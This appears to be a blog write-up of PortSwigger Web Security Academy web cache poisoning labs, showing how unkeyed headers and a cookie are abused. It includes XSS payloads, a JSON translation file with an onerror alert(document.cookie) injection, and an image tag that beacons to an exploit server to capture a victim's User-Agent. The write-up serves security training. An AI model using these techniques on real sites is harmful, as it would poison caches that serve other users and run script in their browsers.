Home (Portswigger/WebAcademy) - Web Cache Poisoning (Unkeyed Inputs)
Post
Cancel

(Portswigger/WebAcademy) - Web Cache Poisoning (Unkeyed Inputs)

Intro

This post/writeup is all about the Web Cache Poisoning.

I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.

To learn more on the topic, please visit the article linked above at Portswigger’s. I also recommend reading Practical Web Cache Poisoning Article.

TOC

Web cache poisoning with an unkeyed header

This lab is vulnerable to web cache poisoning because it handles input from an unkeyed header in an unsafe way. An unsuspecting user regularly visits the site’s home page. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.

We start with the Shop page

picture 1

Let’s check the request(s) in Burp.

We can already tell that we’re caching is active on the webserver (X-Cache header is present along with Age and Cache-Control')

picture 2

Can we poison the Cache?

picture 5

Yes we can, using X-Forwarded-Host. Make sure to get rid of path that get’s appended afterwards (mind the #).

picture 6

Lab has been solved. PS: You can also check the Access Logs to see if Victim has been connecting to exploit server or not.

Web cache poisoning with an unkeyed cookie

This lab is vulnerable to web cache poisoning because cookies aren’t included in the cache key. An unsuspecting user regularly visits the site’s home page. To solve this lab, poison the cache with a response that executes alert(1) in the visitor’s browser.

The page looks same as in the lab before. If we take a look at the requests we’ll see fehost cookie, and it’s value gets reflected to the response.

picture 7

If we carefully check how the values gets translated into response, we can come up with something like that:

picture 8

We just need to trigger alert(1) that has been put into cache. TTL is again 30 seconds.

picture 9

Web cache poisoning with multiple headers

This lab contains a web cache poisoning vulnerability that is only exploitable when you use multiple headers to craft a malicious request. A user visits the home page roughly once a minute. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.

Page looks exacly the same as in the previous labs. This lab however needed more fiddling with the headrers and was not so straightforward as the previous labs.

Main difference here is when X-Forwarded-Scheme: http is used, server answers with 302

picture 10

If we use X-Forwarded-Host as well, we get 302 redirection to our exploit

picture 12

Craft the payload accordingly (alert(document.cookie)), and also make sure to disable the path that get’s appended to Location.

picture 11

You can use Access Logs to see if Victim has made a connection or not. If everything was done right, lab should be solved!

Targeted web cache poisoning using an unknown header

This lab is vulnerable to web cache poisoning. A victim user will view any comments that you post. To solve this lab, you need to poison the cache with a response that executes alert(document.cookie) in the visitor’s browser. However, you also need to make sure that the response is served to the specific subset of users to which the intended victim belongs.

In this lab when we load the page, we see Vary header in the response, which implies that caching should be User Agent based. At least that was my understanding when solving this particular lab.

picture 13

If we start Param-miner Burp extension, it should return 2 headers back to us. Origin is most like not unkeyed though in the cache.

1
2
3
4
5
6
7
Loaded Param Miner v1.4d
Updating active thread pool size to 8
Queued 1 attacks
Initiating header bruteforce on 0ab600840368b45fc045a7e8004f00ee.web-security-academy.net
Identified parameter on 0ab600840368b45fc045a7e8004f00ee.web-security-academy.net: x-host
Identified parameter on 0ab600840368b45fc045a7e8004f00ee.web-security-academy.net: origin~https://%s.%h
Identified parameter on 0ab600840368b45fc045a7e8004f00ee.web-security-academy.net: origin

And indeed, X-Host does reflect itself in the response.

picture 1

Now we’ll need a XSS to effiecently exploit our victim as we need to know what User-Agent it is being used.

We can post a comment under any post like a simple image

1
<img src="exploit-server" />

You should receive a callback from victim with it’s User-Agent.

picture 3

Now let’s try to poison webcache.

We need to change payload accordingly on our exploit server => alert(document.cookie). When we poison the Cache, don’t forget to change the User-Agent.

picture 4

Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria

This lab contains a DOM-based vulnerability that can be exploited as part of a web cache poisoning attack. A user visits the home page roughly once a minute. Note that the cache used by this lab has stricter criteria for deciding which responses are cacheable, so you will need to study the cache behavior closely.

To solve the lab, poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.

Let’s browse the site first. The Param Miner extension returned X-Forwarded-Host as being reflected in response.

picture 6

It relects itself as value in JSON format, enclosed in <script>.

picture 5

We need to scroll further down in the source code to find out where the data.host is actually being called.

1
2
3
                   <script>
                        initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
                    </script>

data.host is not being sanitized in any way.

Access log shows that we’re hitting the exploit server.

1
84.138.97.163   2022-11-26 12:09:08 +0000 "GET /exploit/?=/resources/json/geolocate.json HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0"

If we check the initGeoLocate function we will also see that our input is being put directly into div as value

picture 1

We also need to bypass CORS, as if we try to load remote resource we’ll see CORS error Cross-Origin Request Blocked.

1
Access-Control-Allow-Origin: *

This is what i’ve used on the exploit server.

picture 2

If everything has been done right, we should get an alert in OUR browser. I’ve poisonied more that 1 product though and the / in order to solve the lab!

picture 3

Combining web cache poisoning vulnerabilities

This lab is susceptible to web cache poisoning, but only if you construct a complex exploit chain.

A user visits the home page roughly once a minute and their language is set to English. To solve this lab, poison the cache with a response that executes alert(document.cookie) in the visitor’s browser.

This labs needs combining two vulnerabilities togheter where we actually have to poison the cache on two places.

I’ve started Param Miner on / and /?localized=1 (actually on other endpoits well, but the ones mentioned are relevant!)

  • / returned X-Forwarded-Host and X-original-url
  • /localised=1 returned X-original-url

In order to even find the endpoints/paths i simply browsed the page.

We now know where the potential Web Cache Vulnerability might be.

picture 4

We can notice that host is being reflected being sent into following script

1
2
3
<script>
  initTranslations('//' + data.host + '/resources/json/translations.json');
</script>

File translations.json looks like this (it was already modified by me, only the español)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
{
    "en": {
        "name": "English"
    },
    "es": {
        "name": "español",
        "translations": {
            "Return to list": "its just on the product page :(",
            "View details": "</a><img src=1 onerror='alert(document.cookie)' />",
            "Description:": "Descripción:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Return to list": "返回清單",
            "View details": "查看詳情",
            "Description:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Return to list": "العودة إلى القائمة",
            "View details": "عرض التفاصيل",
            "Description:": "وصف:"
        }
    },
    "en-gb": {
        "name": "Proper English",
        "translations": {
            "Return to list": "From whence you came",
            "View details": "Do me the honour of elaborating",
            "Description:": "Pontifications on the subject matter:"
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Return to list": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "View details": "വിശദാംശങ്ങൾ കാണുക",
            "Description:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Return to list": "חזור לרשימה",
            "View details": "הצג פרטים",
            "Description:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Return to list": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "View details": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Description:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Suomalainen",
        "translations": {
            "Return to list": "Palaa luetteloon",
            "View details": "Näytä kuvaus",
            "Description:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "Ōlelo Hawaiʻi",
        "translations": {
            "Return to list": "Hoʻi i ka papa inoa",
            "View details": "E nānā i nā kikoʻī",
            "Description:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "Return to list": "စာရင်းသို့ပြန်သွားသည်",
            "View details": "အသေးစိတ်ကြည့်ရန်",
            "Description:": "ဖော်ပြချက်:"
        }
    }
}

Do not forget to add Access-Control-Allow-Origin: * into the header.

With the payload above, if we poison /, we’ll trigger the payload but ONLY if we chose ES language!

picture 5

Now we should be able to trigger an Alert.

To trigger an alert at victim’s, We’d need to poison cache on another spot. If we set x-original-url: /setlang\es

picture 6

The /setlang\es part was the one that needed some fiddling around.

picture 7

picture 8

If we twist the slash, webserver will autocorrect. We can confirm that 302 requests are cache-ble and autocorrection is doing us a favour.

If we’ve done everything right and poisoned the cache which will lure all users to spanish page, we should have solced the lab.

picture 9

This post is licensed under CC BY 4.0 by the author.